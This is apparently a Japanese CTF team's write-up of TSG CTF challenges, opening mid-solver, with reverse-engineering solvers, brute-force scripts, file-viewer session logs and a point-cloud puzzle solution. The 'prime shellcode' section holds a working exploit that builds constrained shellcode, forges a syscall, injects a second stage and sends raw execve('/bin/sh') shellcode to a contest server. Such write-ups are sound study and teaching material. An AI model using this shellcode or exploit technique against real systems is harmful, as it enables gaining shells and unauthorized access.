b = m[b].as_long()

flag = ''
for i in range(len(res)):
  for j in range(127):
    if (j * a + b) & 0xff == res[i]:
      flag += chr(j)
      break
print(flag)

TSGDBinary

配布されたバイナリを解析すると、入力とダミーフラグをmemcmpで比較する処理、および加算や減算などのプリミティブな計算を行う多数の関数が見つかった。

次にGDBスクリプトを解析すると、以下の処理をしていることがわかった。

  1. main関数にブレークポイントを仕掛ける
  2. バイナリ内のデータから復号したスクリプトを実行
    • 入力をmmapで確保した領域にコピーし、1バイトずつ2回XORする
  3. バイナリ内のデータから復号した機械語を実行
    • 8バイト単位で2.の結果を置換する
  4. 3.の結果に0x89fc76aef8d6a8c3を加算する
  5. memcmpで4.の結果を比較

最終的に以下のソルバーによりフラグが得られた。

data_6547ea867fa0 = '42d31f3164feaea202ad05481cac96d5e6624b23b5d0f7a7ca56195908603aac757dc4050a8eb8074f793defad737938'
v1 = [int.from_bytes(bytes.fromhex(data_6547ea867fa0[i*16:i*16+16]), 'little') for i in range(len(data_6547ea867fa0)//16)]

v2 = []
for i in range(len(v1)):
  v = v1[i] - 0x89fc76aef8d6a8c3
  if v < 0:
    v += 1<<64
  v2.append(v)

# 得られたアセンブリからv2を手動で置換
v3 = [0x66221E42571B1B1D, 0x2063383B75652F77, 0x6B655A6961635674, 0x641733226F50717C, 0x624F786E344F6E7A, 0x1C566D342C774434]

# XOR演算に使われた値をデバッガで取得
v4 = [73, 72, 92, 20, 22, 88, 89, 86, 21, 73, 16, 64, 88, 89, 84, 16, 6, 9, 0, 0, 7, 5, 4, 7, 73, 65, 15, 26, 23, 0, 72, 3, 30, 12, 16, 85, 0, 28, 16, 0, 5, 42, 22, 94, 77, 16, 86, 28]

v5 = b''.join([int.to_bytes(i, 8, 'little') for i in v3])
v6 = [v5[i] ^ v4[i] for i in range(len(v4))]
v7 = ''.join([chr(i) for i in v6])
print(v7)

serverless

ユーザーはサーバーに/TSGCTF%7B...%7Dのようなパスでアクセスできる。もしこのパスが正しいフラグであればマルコフアルゴリズムによって置換が繰り返されて/で停止する。本問題ではそのようなパスを探すことが目的である。

まず以下のルール群より、/TSGCTF(f)(t)(c)(g)(s)(t)/に置換されることがわかる。

^(.*)M\(m\)  -> \1
^(.*)H\(h\)  -> \1
[...]

また以下のルール群より、/TSGCTF%7Bhoge_fuga_piyo%7D/TSGCTF(/hoge)(/fuga)(/piyo)のような形に置換されることがわかる。つまり、/TSGCTF(/hoge)(/fuga)(/piyo)における()内の文字列がf,t,c,g,s,tにそれぞれ置換されるものであればよい。

^(.*)%7D%7B  -> \1+
^(.*)%7D  -> \1)
^(.*)%7B  -> \1(/
^(.*)_  -> \1)(/
^(.*)/\)  -> \1)

残りのルール群を観察すると、TSGCTF(...)(/p1 p2 ... p2' p3)(...)のような形のパスがあったときにp1~p3がそれぞれ以下の形のルールに対応していそうだと予想できる。

p1: \1hITB/
p2: \1(o)(q)(d)FCU/
p3: \1(r)(w)(d)/

p1~p3の組み合わせが正しければ、最初に示した^(.*)M\(m\) -> \1から始まるルール群によって置換されていき最終的にp1の小文字のアルファベットのみが残る。

以上から、正しいp1~p3の組み合わせを求めるソルバーを書くとフラグが得られた。

def parse_rules():
    rules = []
    with open('compose.yml', 'r') as f:
        for line in f:
            if 'pattern' in line:
                pat = line.split('"')[1].split('"')[0].replace('\\\\', '\\')
            elif 'substitution' in line:
                sub = line.split('"')[1].split('"')[0].replace('\\\\', '\\')
                rules.append((pat, sub))
    return rules


def extract_key(sub, idx):
    return f'({sub[idx+2]})({sub[idx+1]})({sub[idx]})'.lower()


def find_stage1(rules):
    for pat, sub in rules:
        if '(' not in sub and len(sub) >= 3 and sub[2] in 'tsgctf':
            key = extract_key(sub, 3)
            find_stage2(key, {key}, sub[2], pat.split('/')[1], rules)


def find_stage2(current_key, visited_keys, top, flag, rules):
    for pat, sub in rules:
        if current_key in sub:
            if ')/' in sub:
                parts[top] = (flag + pat.split('/')[1]).replace(' ', '').replace('\\', '')
            else:
                next_key = extract_key(sub, 11)
                if next_key not in visited_keys:
                    find_stage2(next_key, visited_keys | {next_key}, top, flag + pat.split('/')[1], rules)


parts = {}
rules = parse_rules()
find_stage1(rules)
flag = '_'.join([parts[c] for c in 'tsgctf'[::-1]])
print(f'TSGCTF{{{flag}}}')

Misc

Cached File Viewer

1. load_file
2. read
3. bye
choice > 1
index > 1
filename > flag
Read 22 bytes.
1. load_file
2. read
3. bye
choice > 1
index > 2
filename > flag
1. load_file
2. read
3. bye
choice > 2
index > 2
content: TSGCTF{!7esuVVz2n@!Fm}

simple calc

import bisect
from collections import defaultdict
from itertools import product
import json
import pickle
from unicodedata import numeric

from tqdm import tqdm

print("[+] extracting numerics...")
b1 = {}
for i in range(0x110000):
  if not chr(i).isnumeric(): continue
  try:
    a = numeric(chr(i))
    if a not in b1:
      b1[a] = chr(i)
  except:
    pass

print("numerics:", [*sorted(b1.keys())])

b2, b3, b4, b5 = {}, {}, {}, {}

bucket = { 1: b1, 2: b2, 3: b3, 4: b4, 5: b5 }
def add(i: int, x: float, s: str):
  if x in bucket[i]: return
  bucket[i][x] = s

print("[+] generating...")
for i in [2,3]:
  for p in product(*([list(b1.keys())] * i)):
    x = 0.
    for c in p: x = 10 * x + c
    add(i, x, "".join([b1[c] for c in p]))

key3 = list(bucket[3].keys()); key3.sort()

numbers = {}
for c1, v1 in tqdm(bucket[2].items()):
  if 12346 <= c1: continue

  l, r = 12345678 - c1 * 1000, 12345778 - c1 * 1000
  lind, rind = bisect.bisect(key3, l), bisect.bisect(key3, r)

  for i in range(lind, rind):
    c2 = key3[i]
    v2 = bucket[3][c2]
    c, v = c1 * 1000 + c2, v1 + v2
    numbers[int(c)] = v

from pwn import *
s = b""
i = 12345678
while True:
  stream = remote("34.146.186.1", 53117)
  stream.sendline(numbers[i])
  c = stream.recvline().split()[-1]
  if c == b'*': break
  s += c
  i += 1
  print(s, c)
  stream.close()

Cached File Viewer 2

1. load_file
2. read
3. bye
choice > 1
index > 0
filename > /var/lib/dpkg/info/libdb5.3t64:amd64.shlibs
Read 22 bytes.
1. load_file
2. read
3. bye
choice > 1
index > 0
filename > flag
Read 22 bytes.
content: TSGCTF{hQAz-yXc6fLoyK}
Overwrite loaded file? (y/n) >

prime shellcode

Author: zatsu

解法

stack上にshellcodeの開始位置へのアドレスが存在するため、pop r9 等の命令を用いてstack addressを得られる。
payload内の適当な位置に \x0d\x05 を入力しておき、そこに add r5 0x02; mov r11, r15; add rdx, r11 のような命令を用いて2を加算して \x0f\05 (syscall) を作る。
その後、適切にレジスタを設定して read(0, shellcode addr + x, y) を呼び出し、read での入力でshellcodeを注入することでshellが得られた。

コード

from ptrlib import *

# p = Process(['./prime_shellcode'])
p = Socket('34.146.186.1', 42333)
payload = b''

def c(x):
    length = 0
    y = x
    while y > 0:
        y >>= 8
        length += 1
    return [(x >> (length * 8 - i - 8)) & 0xff for i in range(0, length * 8, 8)]

payload = [2, 2, 2]

payload += [89, 89] # pop rcx * n

# まずはどうにかしてstack addressを移す
payload += c(0x4359) # pop r9
payload += c(0x4f8be9) # mov r13, r9
payload += c(0x67498be5) # mov rsp, r13

ofs = 0x100
for i in range(ofs // 8):
    payload += c(0x4359) # pop rcx

# 494989e3: mov r11, rsp
payload += c(0x494989e3) # mov r11, rsp (これが 0xdfb のアドレス)

# 43498b13: mov rdx, qword ptr [r11]
payload += c(0x43498b13) # mov rdx, qword ptr [r11]

# 4983c725: add r15, 25
payload += c(0x4983c702)
# 4f89fb: mov r11, r15
payload += c(0x4f89fb)
# 674903d3: add rdx, r11
payload += c(0x674903d3)

# 4989d3: mov r11, rdx
payload += c(0x4989d3)
# 4353: push r11
payload += c(0x4353)

# ここまででsyscall用の命令セットができたので、レジスタを設定していく
# raxはdefaultで 0 (read) なので問題なし
# rdiも 0 (stdin) でよい
# rsi (buf) は rspの直後とかにする
# rdx (len) の設定も適当に

# 434f89e3: mov r11, r12
payload += c(0x434f89e3)
# 47b3fb: mov r11b, 0xfb
payload += c(0x47b3fb)
# 47498bd3: mov rdx, r11
payload += c(0x47498bd3)

# r11 += r15 してstack pointerをズラすので、そのためにr15を適当な8の倍数にする
# 現時点の r2 は 0x2 なので, ここから 0x100 にする
# 4983c77f: add r15, 0x7f
payload += c(0x4983c77f)
payload += c(0x4983c77f)

# syscallの引数は少し増やしてから渡す
# 434989e3: mov r11, rsp
payload += c(0x434989e3)
# 4f03df: add r11, r15
payload += c(0x4f03df)
# 4f4f8be3: mov r12, r11
payload += c(0x4f4f8be3)
# 474f89e5: mov r13, r12
payload += c(0x474f89e5)
# 494f89e9: mov r9, r13
payload += c(0x494f89e9)
# 49498bf1: mov rsi, r9
payload += c(0x49498bf1)


payload.extend(c(0x02c1) * ((ofs - len(payload)) // 2 - 10))
while len(payload) < ofs:
    payload += [89] # dummy
assert len(payload) == ofs
print(ofs)
payload += c(0x0d05)
payload += [89] * 6

with open('payload', 'wb') as f:
    print(payload)
    payload = bytes(payload).ljust(0x1000, b'\x05')
    f.write(payload)

p.sendafter(b':', payload)
p.send(b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05")
p.interactive()

Scattered in the fog

import copy
import string
import numpy as np
import cv2
import open3d as o3d
from sklearn.decomposition import PCA

alphabet = string.ascii_uppercase + "{}_"
print(len(alphabet))

patchsize, shift = 64, 64
patches = np.zeros((len(alphabet)+1, patchsize, patchsize), np.uint8)

offset = 8
for i in range(len(alphabet)):
    cv2.putText(patches[i], alphabet[i], (offset, patchsize-offset), cv2.FONT_HERSHEY_SIMPLEX, 2.0, 255, 4)

known_flag = "TSGCTF{_________________________________________________ROCESS}"  # secret!
assert len(known_flag) == 63
radii = (len(known_flag) - 1) / 2

coords = np.load("orig.npy")

# 2. 平均を原点に移動(センタリング)
mean_coords = np.mean(coords, axis=0)
coords_centered = coords - mean_coords  # shape: (N, 3)

# 3. PCA を適用し、主成分空間へマッピング
pca = PCA(n_components=3)
pca.fit(coords_centered)
coords = pca.transform(coords_centered)  # shape: (N, 3)

# Rotate 90 degrees around the y-axis
theta = np.radians(-90)
c, s = np.cos(theta), np.sin(theta)
rotation_matrix = np.array([
    [c,  0, s],
    [0,  1, 0],
    [-s, 0, c]
])
coords = coords @ rotation_matrix

charactors = 3
coords_target = []
for i in range(len(known_flag)):
  if not (i < charactors or len(known_flag) - i <= charactors): continue
  index = alphabet.index(known_flag[i])
  img = patches[index]
  xmap, ymap = np.meshgrid(np.arange(patchsize), np.arange(patchsize))
  xs = xmap[np.where(img == 255)].astype(np.float32)[:, None]
  ys = ymap[np.where(img == 255)].astype(np.float32)[:, None]
  zs = np.full_like(xs, shift * (i - radii))

  coords_target.append(np.concatenate([xs, ys, zs], axis=1))

coords_target = np.concatenate(coords_target, axis=0) 

# extract "TSG ... xx}"
coords_orig = coords
coords_extracted = coords
coords_extracted = coords_extracted[
  (coords[:, 2] <= 64 * (-32 + charactors)) |
  (coords[:, 2] >= 64 * (32 - charactors - 1))
]
coords_extracted = coords_extracted[(coords_extracted[:, 0] ** 2 + coords_extracted[:, 1] ** 2) <= 36 ** 2]

pcd_orig = o3d.geometry.PointCloud()
pcd_orig.points = o3d.utility.Vector3dVector(coords_orig)

pcd_extracted = o3d.geometry.PointCloud()
pcd_extracted.points = o3d.utility.Vector3dVector(coords_extracted)

pcd_target = o3d.geometry.PointCloud()
pcd_target.points = o3d.utility.Vector3dVector(coords_target)

reg_result = o3d.pipelines.registration.registration_icp(
    source=pcd_extracted,
    target=pcd_target,
    max_correspondence_distance=16,
    init=np.eye(4),
    estimation_method=o3d.pipelines.registration.TransformationEstimationPointToPoint(),
    # criteria=o3d.pipelines.registration.ICPConvergenceCriteria(relative_fitness=0, relative_rmse=0, max_iteration=5000)
    criteria=o3d.pipelines.registration.ICPConvergenceCriteria(relative_fitness=1e-1000, relative_rmse=1e-1000, max_iteration=5000)
)

print("Fitness (overlap ratio):", reg_result.fitness)
print("RMSE:", reg_result.inlier_rmse)
print("Transformation matrix:\n", reg_result.transformation)

transformation = reg_result.transformation
pcd_orig_transformed = pcd_orig.transform(transformation)
coords = np.asarray(pcd_orig_transformed.points)

coords[:, 1] = coords[:, 1] % 64
coords[:, 0] = coords[:, 0] % 64

# pcd = o3d.geometry.PointCloud()
# pcd.points = o3d.utility.Vector3dVector(coords)
# o3d.visualization.draw_geometries([pcd])

image_list = []

for i in range(64):
  z_min = 64 * (-31.5 + i)
  z_max = 64 * (-31.5 + i + 1)
  subset = coords[(coords[:, 2] >= z_min) & (coords[:, 2] < z_max)]
  img = np.zeros((64, 64), dtype=np.uint8)
  x = subset[:, 0].astype(int)
  y = subset[:, 1].astype(int)
  img[y, x] = 255
  image_list.append(img)

combined_image = np.hstack(image_list)
cv2.imwrite('res.png', combined_image)

H*

let f:: x::Integer{x>1} -> Tot(res::Integer{res=0}) = \x -> (x-1) / x in
(if ((f 5) + (f 5)) > 1 then (flag 1) else (print 0))
__EOF__

Arata, いわんこ, kiona, keymoon, tsune, hiikunZ, みゃう, Rona, ryohz, Yu, yu1hpa, zatsu